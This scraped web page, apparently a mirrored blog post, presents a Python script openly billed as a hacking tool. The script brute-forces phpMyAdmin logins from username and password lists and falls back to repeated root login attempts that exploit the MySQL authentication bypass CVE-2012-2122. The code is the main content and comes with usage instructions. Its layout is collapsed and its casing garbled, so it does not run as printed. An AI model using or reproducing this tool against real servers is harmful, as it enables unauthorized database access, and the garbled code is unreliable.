Python writes phpMyAdmin brute Force hacking tool code _python

Source: Internet
Author: User
Tags phpmyadmin

phpMyAdmin brute force cracking, plus cve-2012-2122 MySQL authentication Bypass vulnerability exploit.

#!/usr/bin/env python import urllib import urllib2 import cookielib import sys import subprocess def crack (Url,usernam E,password): opener = Urllib2.build_opener (urllib2. Httpcookieprocessor (Cookielib. Lwpcookiejar ()) headers = {' user-agent ': ' mozilla/5.0 (Windows NT 6.1; WOW64) '} params = Urllib.urlencode ({' Pma_username ': username, ' Pma_password ': password}) request = Urllib2. Request (url+ "/index.php", params,headers) response = Opener.open (Request) A=response.read () If A.find (' Database serve R ')!=-1 and A.find (' name= ' Login_form "') ==-1:return username,password return 0 def mysqlauthenticationbypasscheck (host , port): I=0 while I<300:i=i+1 subprocess. Popen ("MySQL--host=%s-p%s-uroot-piswin"% (Host,port), shell=true). Wait () if __name__ = = ' __main__ ': If Len (SYS.ARGV) <4:print "#author: Iswin\n#useage python pma.py http://www.jb51.net/phpmyadmin/username.txt password.txt" Sys.exit () print "Bruting,pleas wait ..." for name in open (Sys.argv[2], "R"): FOR PASSW in open (Sys.argv[3], "R"): State=crack (SYS.ARGV[1],NAME,PASSW) if State!=0:print "\nbrute successful" Print "UserName: +state[0]+" PassWord: "+state[1] Sys.exit () print" Sorry,brute failed...,try to use mysqlauthentic Ationbypasscheck "choice=raw_input (' warning:this function needs MySQL environment.\ny:try to Mysqlauthenticationbypasscheck\nothers:exit\n ') if choice== ' y ' or choice== ' y ': host=raw_input (' Host: ') Port=raw_inpu
 T (' Port: ') Mysqlauthenticationbypasscheck (Host,port)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.